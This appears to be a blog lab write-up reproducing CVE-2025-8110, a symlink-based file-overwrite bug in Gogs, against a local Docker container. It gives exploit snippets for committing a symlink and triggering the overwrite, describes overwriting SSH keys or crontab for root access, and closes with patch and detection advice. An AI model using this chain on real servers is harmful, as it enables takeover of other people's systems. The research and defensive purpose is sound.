The Vulnerability

Gogs is a lightweight, open-source self-hosted Git service. It's basically a self-deployable GitHub written in Go. CVE-2025-8110 is a path traversal vulnerability (CWE-22) in its PutContents API endpoint (/api/v1/repos/:owner/:repo/contents/:path). It was discovered by Wiz Research in July 2025 while investigating a real malware infection on a customer workload. CVSS score: 8.7 High.

Attack vectorNetwork
Privileges requiredLow (any registered user)
User interactionNone
Confidentiality impactHigh
Integrity impactHigh
Affected versionsGogs ≤ 0.13.3
PatchFixed in v0.13.4

The core flaw is a validation/execution gap

When you call PutContents to edit a file in a repository, Gogs validates the filename for ../ sequences to block directory traversal. So far so good. But it never checks whether the file being written to is a symbolic link.

If you've already committed a symlink into the repository pointing outside its boundary (say, a file called config that secretly points to /root/.ssh/authorized_keys), Gogs will happily follow it and write your payload directly to that real file. The OS does what the OS does. Gogs never sees the problem.

This is actually a bypass of a prior patch. CVE-2024-55947 was the original path traversal bug. The developers added path validation to fix it. But the fix only blocked ../ traversal but it never accounted for symlinks. CVE-2025-8110 is the bypass that fell out of that incomplete fix.

Attack Flow

Click any step to expand it.

1
Register an account
Open registration, no admin approval required
Gogs ships with open registration enabled by default. The attacker signs up for a free account at the target instance... the same flow any developer would use. No elevated access, no social engineering, no stolen credentials. This is the only foothold needed.
2
Create a repository
Via the web UI form — the API has a bug in v0.13.0
The attacker creates a normal Git repository. One gotcha discovered during lab work: Gogs 0.13.0's API crashes with a 500 error when auto_init: true is set because of an internal commit initialization bug. The web UI form handles this correctly, so the exploit uses the web form via a CSRF-extracted POST request.
3
Commit a symlink
git mode 120000 → points to target file outside repo
The attacker clones the repo locally, runs os.symlink(TARGET_FILE, "config"), then commits and pushes. Git detects the OS-level symlink and stores it with file mode 120000 (the magic number that marks a Git symlink blob). The symlink name (config) looks like an innocent configuration file. Nobody reading the commit log would notice anything unusual.
4
Call PutContents API
PUT /api/v1/repos/user/repo/contents/config
The attacker sends a PUT request to the PutContents API with the symlink filename and their payload as base64-encoded content. This is the trigger. The filename looks harmless and it's just config, which passed path validation.
5
Gogs validates the path and approves it
No ../ found. Filename looks safe. ✓
Gogs checks config for directory traversal sequences. Finds none. The validation passes. Gogs does not resolve the symlink or check what it points to. This is the bug: validation and execution are separated, and only one of them is security-aware.
6
OS follows the symlink
Resolves to the real file outside the repository
Gogs checks out the repository to a temporary directory and opens the file for writing. The OS does what it always does with symlinks which means that it follows the pointer to its destination. The destination is outside the repository boundary and outside anything Gogs controls. The write proceeds to the real target file.
7
Target file overwritten → RCE achieved
Payload lands in the real file on the server filesystem
The attacker's payload is now in the target file. Depending on the target, the impact varies: overwrite /root/.ssh/authorized_keys to plant an SSH public key for root access; overwrite /etc/crontab for a reverse shell that runs every minute; overwrite a Gogs config file to redirect traffic. Gogs runs as root in the default Docker deployment, so no privilege escalation is needed.

Setting Up the Lab

The lab is a single Docker container running the vulnerable version of Gogs, isolated to localhost with no external connectivity. The goal is a realistic target that's completely safe to test against.

terminal — lab setup
# 1. Pull and start the vulnerable container
docker run -d --name gogs-vulnerable \
  -p 3000:3000 gogs/gogs:0.13.0

# 2. Complete setup wizard at http://localhost:3000
#    Database: SQLite3
#    Application URL: http://localhost:3000/
#    Create admin account

# 3. Create the sensitive target file inside the container
docker exec gogs-vulnerable sh -c \
  'echo "SECRET_KEY=supersecret123" > /tmp/sensitive_config.txt \
   && chmod 777 /tmp/sensitive_config.txt'

# 4. Verify
docker exec gogs-vulnerable cat /tmp/sensitive_config.txt
# → SECRET_KEY=supersecret123
Important: you must complete the setup wizard before running anything. If you skip this step every API call returns a 500 error because there is no database configured and Gogs has no way to process requests.

Building the Exploit — Three Attempts

I didn't write a working exploit on the first try. Here are the three versions and what I learned from each failure. The mistakes were more instructive than the success.

Version 1 :: API repo creation, 500 error

My first script used the Gogs API to create the repository with auto_init: true so it would have an initial commit. The API returned HTTP 500. The server logs revealed the real error:

[ERROR] CreateUserRepo: initRepository: prepareRepoCommit: getRepoInitFile[]: read readme: is a directory

Gogs 0.13.0 has an internal bug where API-triggered repo initialization fails when it tries to create the README file. The fix: don't use the API. Use the web UI form directly, just like a browser would.

Version 2 :: Symlink was a regular file

Version 2 fixed repo creation by using the web form (CSRF token extraction + POST). But the PutContents PUT call still returned 500. The server log told the story:

[ERROR] PutContents: updating repository file: write file: open /app/gogs/data/tmp/local-repo/2/config: permission denied

Gogs was correctly resolving the symlink when it was created, which was good. But the target file didn't exist yet, or the Gogs process couldn't write to it. Two problems: first, the target file needed to exist with open permissions before the exploit ran. Second, my v2 script used raw git plumbing (git hash-object + git update-index --cacheinfo 120000) to create the symlink blob. This was technically correct but something in how Gogs processed the PUT with a raw plumbing blob caused the failure.

Version 3 :: The working approach

The key insight came from studying how the real-world exploit works: use os.symlink() on the filesystem after a git clone, then commit and push. Git detects real OS symlinks automatically and stores them with mode 120000 (no raw plumbing needed). The result is a commit that Gogs processes correctly.

exploit_v3.py — symlink commit
def push_symlink_via_clone(token):
    # Clone the repo with token auth embedded in URL
    clone_url = f"http://{USERNAME}:{token}@localhost:3000/{USERNAME}/{REPO}.git"
    tmpdir = tempfile.mkdtemp()
    repo_dir = os.path.join(tmpdir, "repo")

    subprocess.run(["git", "clone", clone_url, repo_dir])

    # Create a real OS symlink — git stores these as mode 120000 automatically
    os.symlink(TARGET_FILE, os.path.join(repo_dir, SYMLINK_NAME))

    # Stage, commit, push
    subprocess.run(["git", "add", SYMLINK_NAME], cwd=repo_dir)
    subprocess.run(["git", "commit", "-m", "add config file"], cwd=repo_dir)
    subprocess.run(["git", "push"], cwd=repo_dir)
exploit_v3.py — trigger overwrite
def trigger_overwrite(token):
    url = f"{GOGS_URL}/api/v1/repos/{USERNAME}/{REPO}/contents/{SYMLINK_NAME}"
    headers = {"Authorization": f"token {token}"}

    # Gogs validates "config" — looks safe ✓
    # OS resolves symlink — writes to TARGET_FILE instead
    resp = requests.put(url, headers=headers, json={
        "message": "update config",
        "content": base64.b64encode(PAYLOAD.encode()).decode(),
        # no sha field — Gogs handles symlink targets differently
    })

Results

The exploit was tested with both an administrator account and a standard low-privilege account created through open registration. Both succeeded.

Account 1
Administrator → full rights
✓ Exploit succeeded
Account 2
Standard user → no special privileges
✓ Exploit succeeded
$ docker exec gogs-vulnerable cat /tmp/sensitive_config.txt
PWNED_BY_CVE_2025_8110
Screenshot of the exploit running against the vulnerable Gogs container

This validates the CVE's CVSS vector directly: Low Privilege Required. Admin access provides no advantage. Any registered user can run the full chain. On a default Gogs deployment, that means anyone on the internet if open registration is enabled and the instance is public-facing.

Screenshot showing the overwritten file contents after successful exploitation

What I Actually Learned

01
Git's internal object model matters for security
File mode 120000 is how Git stores symlinks internally. The web API and raw git plumbing produce different results. Understanding this distinction was the key to making the exploit work and to understanding exactly why the vulnerable code fails to catch it.
02
Validation and execution must be consistent
The original CVE-2024-55947 patch validated the path. But it validated the name, not what the name resolves to. Security fixes need to ask: "are there other ways to reach the same dangerous state?" A symlink is just another path to the same destination.
03
Always read the server logs before changing code
Every version 1 and 2 failure looked the same from the outside (HTTP 500). Running docker logs gogs-vulnerable gave me the exact Go error and file path within seconds. That's the difference between five minutes of debugging and five hours of guessing.
04
Default configurations are a security surface
CVE-2025-8110 is exploitable because of how Gogs ships by default: Open registration enabled, no symlink checks, process runs as root in Docker. The attacker doesn't need to find a misconfiguration. The default config is the misconfiguration.
05
LLMs help with structure, but break on implementation details
I used LLMs to generate parts of the exploit code throughout this project and specifically to see where they're actually useful in vulnerability research. They grasped the symlink bypass concept immediately and produced reasonable scaffolding. But they consistently failed on low-level details: Git object modes, the API initialization bug that required falling back to the web form, and getting the PUT request shape right. The gap between "I understand the bug" and "here is working code" is real. LLMs narrow it, but they don't close it... at least not yet.

Patch and Protect

If you're running Gogs, upgrade to v0.13.4 immediately if you haven't already. The fix (GitHub PR #8078) adds symlink resolution to the path validation step and any file update where the resolved path hierarchy contains a symlink is rejected before the write occurs.

If you can't upgrade right now: disable open registration (Admin Panel → Settings → Disable Self-Registration) and restrict the instance to a VPN or allowlist. This doesn't fix the vulnerability but requires the attacker to already have a valid account, raising the bar considerably.

For defenders: check for unexpected symlinks in repositories with git ls-tree -r HEAD | grep ^120000. Mode 120000 entries that point outside the repo boundary are a sign of exploitation or attempted exploitation.

Sources

Wiz Research — CVE-2025-8110 discovery writeup · CISA KEV Catalog (added January 2026) · GitHub PR #8078 — the fix · NVD CVE-2025-8110 · SentinelOne Vulnerability Database